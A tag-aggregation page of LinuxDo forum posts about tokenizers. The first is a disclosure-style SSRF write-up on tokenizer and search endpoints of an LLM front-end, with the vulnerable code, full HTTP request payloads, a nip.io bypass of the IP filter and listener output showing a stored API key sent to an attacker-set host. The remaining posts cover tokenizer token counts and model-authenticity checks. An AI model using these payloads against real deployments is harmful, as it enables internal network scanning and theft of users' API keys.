WWW.YOUINFO.SITE
标签聚合 tokenizer

/tag/tokenizer

LinuxDo 最新话题 · 2026-05-27 16:14:05+08:00 · tech

Tokenizer端点ssrf file:src/endpoints/tokenizers.js /remote/kobold/count 虽然他们被设计出来就是用于api通行的 但是事实上他们可以造成内网的扫描 例如在多租户的docker环境中 router.post('/remote/kobold/count', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); try { const args = { method: 'POST', body: JSON.stringify({ 'prompt': text }), headers: { 'Content-Type': 'application/json' }, }; let url = String(baseUrl).replace(/\/$/, ''); url += '/extra/tokencount'; const result = await fetch(url, args); if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = data.value; const ids = data.ids ?? []; return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 请求直接写入了 const baseUrl = String(request.body.url); 无过滤 虽然没有返回内容都只是 { error: true } 但测试下来依旧可以通过延时判断内网端口开放状态若存在瞬间返回,若端口不存在延迟约三秒返回,构成ssrf payload: POST /api/tokenizers/remote/kobold/count HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "hello", "url": "http://172.19.0.1:8080"} /remote/textgenerationwebui/encode ssrf+kay泄漏 router.post('/remote/textgenerationwebui/encode', async function (request, response) { if (!request.body) { return response.sendStatus(400); } const text = String(request.body.text) || ''; const baseUrl = String(request.body.url); //用户控制 无验证 const model = String(request.body.model) || ''; try { const args = { method: 'POST', headers: { 'Content-Type': 'application/json' }, }; setAdditionalHeaders(request, args, baseUrl); // 关键 调用设置函数 在头添加密钥 // Convert to string + remove trailing slash + /v1 suffix let url = String(baseUrl).replace(/\/$/, '').replace(/\/v1$/, ''); switch (request.body.api_type) { case TEXTGEN_TYPES.TABBY: url += '/v1/token/encode'; args.body = JSON.stringify({ 'text': text, 'add_bos_token': false }); break; case TEXTGEN_TYPES.KOBOLDCPP: url += '/api/extra/tokencount'; args.body = JSON.stringify({ 'prompt': text, 'special': false }); break; case TEXTGEN_TYPES.LLAMACPP: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'content': text }); break; case TEXTGEN_TYPES.VLLM: url += '/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; case TEXTGEN_TYPES.APHRODITE: url += '/v1/tokenize'; args.body = JSON.stringify({ 'model': model, 'prompt': text }); break; default: url += '/v1/internal/encode'; args.body = JSON.stringify({ 'text': text }); break; } const result = await fetch(url, args); //带上附加的头 if (!result.ok) { console.warn(`API returned error: ${result.status} ${result.statusText}`); return response.send({ error: true }); } /** @type {any} */ const data = await result.json(); const count = (data?.length ?? data?.count ?? data?.value ?? data?.tokens?.length); const ids = (data?.tokens ?? data?.ids ?? []); return response.send({ count, ids }); } catch (error) { console.error(error); return response.send({ error: true }); } }); 观察代码不难注意到 setAdditionalHeaders(request, args, baseUrl); 这个函数,它又指向 setAdditionalHeadersByType ,在这个函数中key被赋值 export function setAdditionalHeadersByType(requestHeaders, type, server, directories) { const headerGetters = { [TEXTGEN_TYPES.MANCER]: getMancerHeaders, [TEXTGEN_TYPES.VLLM]: getVllmHeaders, [TEXTGEN_TYPES.APHRODITE]: getAphroditeHeaders, [TEXTGEN_TYPES.TABBY]: getTabbyHeaders, [TEXTGEN_TYPES.TOGETHERAI]: getTogetherAIHeaders, [TEXTGEN_TYPES.OOBA]: getOobaHeaders, [TEXTGEN_TYPES.INFERMATICAI]: getInfermaticAIHeaders, [TEXTGEN_TYPES.DREAMGEN]: getDreamGenHeaders, [TEXTGEN_TYPES.OPENROUTER]: getOpenRouterHeaders, [TEXTGEN_TYPES.KOBOLDCPP]: getKoboldCppHeaders, [TEXTGEN_TYPES.LLAMACPP]: getLlamaCppHeaders, [TEXTGEN_TYPES.FEATHERLESS]: getFeatherlessHeaders, [TEXTGEN_TYPES.HUGGINGFACE]: getHuggingFaceHeaders, [TEXTGEN_TYPES.GENERIC]: getGenericHeaders, }; const getHeaders = headerGetters[type]; // 获得密钥 const headers = getHeaders ? getHeaders(directories) : {}; if (typeof server === 'string' && server.length > 0) { try { const url = new URL(server); const overrideHeaders = getOverrideHeaders(url.host); if (overrideHeaders && Object.keys(overrideHeaders).length > 0) { Object.assign(headers, overrideHeaders); } } catch { // Do nothing } } Object.assign(requestHeaders, headers); } 效果如下 payload POST /api/tokenizers/remote/textgenerationwebui/encode HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"text": "test", "url": "http://172.19.0.1:8080", "api_type": "tabby", "model": ""} 返回 nc -l 0.0.0.0 8080 POST /v1/token/encode HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br authorization: Bearer 123123 content-length: 37 content-type: application/json user-agent: node-fetch x-api-key: 123123 Host: 172.19.0.1:8080 Connection: keep-alive {"text":"test","add_bos_token":false} 关键 x-api-key: 123123 只要用户设置过的key 通过apitype就可以泄漏 KoboldCPP端点ssrf漏洞 看代码 router.post('/koboldcpp', async (request, response) => { try { const { query, url } = request.body; if (!url) { console.error('No URL provided for KoboldCpp search'); return response.sendStatus(400); } console.debug('KoboldCpp search query', query); const baseUrl = trimV1(url); const args = { method: 'POST', headers: {}, body: JSON.stringify({ q: query }), }; setAdditionalHeaders(request, args, baseUrl); const result = await fetch(`${baseUrl}/api/extra/websearch`, args); if (!result.ok) { const text = await result.text(); console.error('KoboldCpp request failed', result.statusText, text); return response.status(500).send(text); } const data = await result.json(); console.debug('KoboldCpp search response', data); return response.json(data); } catch (error) { console.error(error); return response.sendStatus(500); } }); 一样的 关键点 const baseUrl = trimV1(url); 在之后url会被拼接 /api/extra/websearch 进行查询 没有过滤 白名单 于是我们可以构造出如下的 payload POST /api/search/koboldcpp HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"query": "", "url": "http://172.19.0.1:8080"} 如果不想请求携带后面的接口 可以添加# 来绕过 {"query": "", "url": "http://172.19.0.1:8080#"} nc -l 0.0.0.0 8080 POST / HTTP/1.1 accept: */* accept-encoding: gzip, deflate, br content-length: 8 content-type: text/plain;charset=UTF-8 user-agent: node-fetch Host: 172.19.0.1:8080 Connection: keep-alive {"q":""} /visit 80,443端口 回显ssrf router.post('/visit', async (request, response) => { try { const url = request.body.url; const html = Boolean(request.body.html ?? true); if (!url) { console.error('No url provided for /visit'); return response.sendStatus(400); } try { const urlObj = new URL(url); // Reject relative URLs if (urlObj.protocol === null || urlObj.host === null) { throw new Error('Invalid URL format'); } // Reject non-HTTP URLs if (urlObj.protocol !== 'http:' && urlObj.protocol !== 'https:') { throw new Error('Invalid protocol'); } // Reject URLs with a non-standard port if (urlObj.port !== '') { throw new Error('Invalid port'); } // Reject IP addresses if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } } catch (error) { console.error('Invalid url provided for /visit', url); return response.sendStatus(400); } console.info('Visiting web URL', url); const result = await fetch(url, { headers: visitHeaders }); if (!result.ok) { console.error(`Visit failed ${result.status} ${result.statusText}`); return response.sendStatus(500); } const contentType = String(result.headers.get('content-type')); if (html) { if (!contentType.includes('text/html')) { console.error(`Visit failed, content-type is ${contentType}, expected text/html`); return response.sendStatus(500); } const text = await result.text(); return response.send(text); } response.setHeader('Content-Type', contentType); const buffer = await result.arrayBuffer(); return response.send(Buffer.from(buffer)); } catch (error) { console.error(error); return response.sendStatus(500); } }); 这里的验证并不严格 关键的代码是 if (ipRegex.v4({ exact: true }).test(urlObj.hostname) || ipRegex.v6({ exact: true }).test(urlObj.hostname)) { throw new Error('Invalid hostname'); } 他用的是ip-regex模块匹配ip,不够完全 可以利用一些手段绕过 例如 nip.io http://127.0.0.1.nip.io 这个就指向127 payload: POST /api/search/visit HTTP/1.1 Host: 127.0.0.1:8000 sec-ch-ua-mobile: ?0 sec-ch-ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147" Accept: */* Cache-Control: max-age=0 Sec-Fetch-Mode: cors Cookie: session-1571c88b=eyJjc3JmVG9rZW4iOiI3ODM1NmIyNGVlNDk0YTQ3MTkwYjIxNWQ3YzU4MDZmNTE2YzQ3MWJjYjI0OGFhYzlkZGE1NjUyY2EwODAxMmE3In0=; session-1571c88b.sig=3U5WQsDfeyQnC3AF5yEZ-4AbAGM Origin: http://127.0.0.1:8000 Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-Token: 78356b24ee494a47190b215d7c5806f516c471bcb248aac9dda5652ca08012a7 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Sec-Fetch-Dest: empty Accept-Language: zh-CN,zh;q=0.9 Content-Length: 22 {"url": "http://172.19.0.1.nip.io", "html": false} sudo nc -l 0.0.0.0 80 GET / HTTP/1.1 accept: text/html accept-encoding: gzip, deflate, br accept-language: en-US,en;q=0.5 cache-control: no-cache connection: keep-alive dnt: 1 pragma: no-cache sec-fetch-dest: document sec-fetch-mode: navigate sec-fetch-site: none sec-fetch-user: ?1 te: trailers user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: 172.19.0.1.nip.io 这个问题已经有安全报告了 GitHub Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6 ### Details Distinct from CVE-2025-59159, CVE-2026-26286, and GHSA-vjv2-8gh6-4hc2 (all fixed in v1.16.0). This endpoint is still unpatched. In `src/endpoints/search.js` line 419, the hostname i... 1 个帖子 - 1 位参与者 阅读完整话题

linux.do · 2026-05-06 02:28:51+08:00 · tech

背景 这是今天在这位楼主的帖子下面突然想到的 星辰AI出来解释下呗 我说opus说话怎么一股异味,做了个探针查一下Tokenizer,对比一下官方订阅 这种测Tokenizer的方法一定程度上可以测出Opus4.7和其他模型之间的区别。但是值得注意的是有这样一种可能: 星辰AI出来解释下呗 上游由于逆向渠道等原因自行添加了System prompt Claude Code相关的订阅转出来本身就是需要有一个You are Claude Agent SDK之类的预填充prompt;此外有的时候会填几个统一的预填充的prompt头,大概原理是让Anthropic的开头建立缓存的时候缓存到一起之类的?或者添加随机性? 总之如果只看 input_tokens ,有可能会对应加一些随机的小常数(这实际上可能对应一些固定的手续费,或者可能会让缓存率偏低,所以理论上上下文比较长手续费占比可能比较高hh),按照这种分词器分出来的token数的比例,可能需要按照比较长的效果来评判。 方法 那么有没有什么说服力更强的方法呢?这里想到一种用 output_tokens 来交叉检验。具体来讲,我想到的方法有这几种: 重复prompt,例如: 原样输出下面的内容:“Hello! It looks like your message came through as just a period. How can I help you today?” 这个对应的Opus4.7的output_tokens应该是28,Opus4.6的是24 强制要求调用某个工具,并指定参数 这种可能可以一定程度上辨别工具调用会不会可能是提示词出来的。毕竟现在的模型格式遵循能力也挺强了,理论上如果是提示词出来的,那用的输出token可能会多一些。 结语 长期以来大家都在纠结于中转站的模型API真不真,无论站内站外大家都遇到很多这种掺水的事件,可以说是深恶痛绝。另一方面,Anthropic的模型又三天两头降智,更是带来诸多不便。 但是相对让人高兴的是,国内的模型迎头赶上,像是我在特定的Agent构造下和Coding领域下,GLM-5.1、Deepseek V4 Pro之类的模型完全能替代Opus 4.5/4.6的效果甚至做得更好。其中我最认同的还是Deepseek在Infra方面的努力。想来,那个SOTA模型token便宜到人人都能不限量用,将这些中转站在中间赚“剪刀差”空间基本消灭的一天应该已经能望见曙光了。 许愿一个Deepseek价格和上下文、GLM-5.1的编码和工具调用能力的模型.jpg 6 个帖子 - 5 位参与者 阅读完整话题

linux.do · 2026-05-01 13:31:33+08:00 · tech

3月入了L站后接触到了codex后,觉得以前使用古法chat模式做开发真的是太惨了,同时内心中压抑的很久的想法终于压制不住了,于是在4月19,创建了一个llm工程。工程的作用是什么呢,对,就是妄图在gpt的帮助下手搓一个llm。因为当时最强的开源国模,就是glm5.1,而且还是mit协议的,没有太大的协议风险。想着有现成的Tokenizer干嘛不用。于是就以5.1的Tokenizer作为基础开始手搓模型。于是开始了长达10天的llm工程化,于是什么 SwiGLU 、 CLA+GQA 、 RetNet 统统扔进模型里面。然后4.29在开发到从单卡训练转FSDP2下跑多卡训练的时候就发现ds4发布了,还是mit协议的。于是本着反正模型都还没彻底定型,多试几个Tokenizer,看看哪个比较好(单纯是因为5060ti16G练不动了,5.1回家把4060ti16g也插上做双卡)。于是就有了下面的对比。前期实验glmTokenizer时发现占用较高,但是训练出来后 主观感觉 收敛更好。但是因为本身就不是严谨的实验工程,纯个人爱好一时兴起,所以懒得测试两种Tokenizer训练出来的模型性能如何了。 目前单次Tokenizer实验的总结就是:DS伟大无需多言。同样的数据集下,ds4Tokenizer转出来的Token数量更少, Sequence Packing(序列打包)效率更高。不愧是性价比战神!!! 免责声明:这个测试是孤例,秉承科研界中孤证不立的原则,个人声明本次测试什么都不代表,仅作为LPT工程下指定数据集下的数据结果。不具备任何盖棺定论的属性。实验全是个人见解及倾向。不存在拉踩。 而且因为我显卡不够的问题根本不敢跑多轮训练。无法实际测试同样的模型结构下,哪个Tokenizer的语义表达更好。 由GPT实现并执行生成的实验报告及附录如下: github.com/kenith-z/lpt-llm help/GLM5.1%E5%8F%8ADS4%E7%9A%84Tokenizer%E5%9F%BA%E5%87%86%E5%AF%B9%E6%AF%94%E5%AE%9E%E9%AA%8C/GLM5.1%E5%8F%8ADS4Tokenizer%E5%9F%BA%E5%87%86%E5%AF%B9%E6%AF%94%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A.md main # GLM5.1 及 DS4Tokenizer 基准对比实验报告 ## 摘要 本实验比较 GLM5.1 tokenizer 与 DS4Tokenizer(本项目 `ds_tokenizer`)在同一批 1-11 号专升本教材语料上的分词规模、训练吞吐、显存占用与 LongRoPE2 候选因子评测表现。实验使用 416 条结构化 text JSONL 样本作为统一材料,并在同一张 `NVIDIA GeForce RTX 5060 Ti` 上执行 sequence packing 训练基准与 LongRoPE2 factor sweep smoke 评测。 结果显示,DS4Tokenizer 的总 token 数较 GLM5.1 降低 5.55%,超过 7680 token 的样本数量由 10 条降至 5 条。在 `batch_size=4, train_max_sequence_length=768` 的训练基准中,DS4Tokenizer 相对 GLM5.1 的 active tokens/s 提升约 9.3%-10.2%,峰值 allocated 显存降低约 1.34 GB。在 `train_max_sequence_length=7680` 的长窗口基准中,两种 tokenizer 在 `batch_size=4` 下均发生 OOM;在 `batch_size=1` 下均可运行,DS4Tokenizer 的 wall-clock 更短且峰值 allocated 显存更低。LongRoPE2 factor sweep 在 `text_pretrain` checkpoint 上已完成同阶段对比,DS4Tokenizer 对应 checkpoint 在 smoke 设置下获得更低的 PPL(128),但生成型 needle 与 retrieval 精确匹配率均为 0.0,说明该结果只能作为链路与相对基线参考,不能作为充分的长上下文能力结论。 ## 1. 实验目的 本实验旨在回答以下问题: 1. 在同一语料上,GLM5.1 tokenizer 与 DS4Tokenizer 的 token 规模差异是否显著。 2. tokenizer 切换是否改变 sequence packing 训练基准中的吞吐与显存表现。 3. 在长窗口训练边界下,较小词表的 DS4Tokenizer 是否带来可观察的显存收益。 4. 在已有 GLM5.1 与 DS 同阶段 `text_pretrain` checkpoint 条件下,LongRoPE2 factor sweep 是否可以完成可比评测。 ## 2. 实验材料与环境 ### 2.1 数据材料 此文件已被截断。 显示原始文件 1 个帖子 - 1 位参与者 阅读完整话题

linux.do · 2026-04-19 16:05:48+08:00 · tech

Claude Code Camp I Measured Claude 4.7's New Tokenizer. Here's What It Costs You. The docs said 1.0–1.35x more tokens. On real content, I measured 1.47x. 以下结果都是基于原文作者的测试(截图自原始博客) 1.35并不是上限 而只是范围 实际使用可能会超过这个值 影响最严重的是英文(同时也影响了代码) 中文影响轻微 带来的结果是更好的指令遵守 但是原博主测试 似乎在他的测试里 很轻微 结论 6 个帖子 - 5 位参与者 阅读完整话题